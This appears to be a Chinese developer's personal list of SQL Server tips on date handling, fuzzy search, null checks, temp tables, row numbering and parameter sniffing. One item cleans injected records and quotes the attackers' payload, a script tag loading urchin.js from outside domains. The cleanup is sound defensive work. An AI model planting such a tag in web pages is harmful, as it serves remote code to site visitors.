一、 order by newid() 可以从查询结果中随机一条数据
二、 公司习惯数据库基本都是varchar类型 无法根据时间排序 的问题:程序控制输入格式保持一致or cast 字段 as datetime。个人还
是喜欢用对应的数据格式,例如时间用datetime页面就可以toString("yyyy-MM-dd hh:mm:ss")成这种格式,varchar就不可以
三、 sql server 的模糊查询 可以(字段+字段)like '%%' 不用像mysql里还得用concat(`title`,`content`) like '%关键字%'
四、 sql 判断为空 where 字段 is null 。。。。不是=null。。。。
五、 bit类型插入时用1 ,0 读取时返回的是true,false
六、 select Id,Aid,Title,StartTime,EndTime,AdUrl,LinkUrl,AdRemark,IsLock,AddTime FROM Adbanner
where IsLock=0 and datediff(day,StartTime,getDate())>=0 and datediff(day,EndTime,getDate())<=0 and Aid=1
datediff(day,StartTime,getDate())>=0 判断指定日期是否已经过去 ,datediff(day,EndTime,getDate())<=0判断指定日期是否过期。
cms死循环原因就是access 和 sql的语法不同,导致异常,下为access语法:
select Id,Aid,Title,StartTime,EndTime,AdUrl,LinkUrl,AdRemark,IsLock,AddTime
FROM Adbanner where IsLock=0 and datediff('d',StartTime,now())>=0 and datediff('d',EndTime,now())<=0 and Aid=1
七、利用临时表复制当前数据表数据便于测试,用随机的方法把重复数据的关键字段修改
select * into products from #t
insert into products (title,classid,imgurl,content,click,addtime,summary)
select title,classid,imgurl,content,click,addtime ,summary from #t
insert into #t (title,classid,imgurl,content,click,addtime,summary)
select title,classid,imgurl,content,click,addtime ,summary from productsdeclare @i int
set @i=0
while @i<1000
begin
update products set classid = (select top 1 id from channel where parentId not in (0,8) order by newid())
where id =
(select top 1 id from products where id between 10449 and 11449 order by newid())
set @i=@i+1
end八、
update news set newscontent =replace(newscontent,'</title><script src=http://jjghui.com/urchin.js ></script></title><script src=http://jjghui.com/urchin.js ></script>','') 要替换的字段不能为ntext 需要转换
查看被注入的记录select * from news where newstitle like '%</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>%'
导入临时表select * into #t from news
替换临时表里被注入的记录update #t set newstitle =replace(newstitle,'</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>','')
查询临时表select * from #t
替换被注入的记录update news set newscontent =replace(cast(newscontent as varchar(1024)) ,'</title><script src=http://nbnjki.com/urchin.js ></script></title><script src=http://nbnjki.com/urchin.js ></script>','')
查询表select * from news
九、替换某表中某字段里的特定字符
update mtMeetLists set Originator=replace(convert(nvarchar(4000),Originator),'sailungroup','sailunjinyu')
十、return @@identity; 返回刚插入的自增ID
十一、update oCD_OfficeSuppliesConfig set configKey=replace(configKey,char(10),'')--替换换行符update oCD_OfficeSuppliesConfig set configKey=replace(configKey,char(13),'')-- 替换回车符
update oCD_OfficeSuppliesConfig set configKey=replace(configKey,‘ ’,'')-- 替换空格
十二、给返回的数据集加自然序号 select (ROW_NUMBER() over (order by id )) as rownum
十三、Select Distinct Object_name(ID) from syscomments Where text like N'%关键字%' 忘记写过的存储过程在哪调用过时,这段代码相当有用。
十四、Parameter Sniffing引起的存储过程慢,可以重启服务、清除缓存、甚至重建存储过程等多种方式解决。推荐
使用本地参数,declare 局部变量 set 局部变量=入参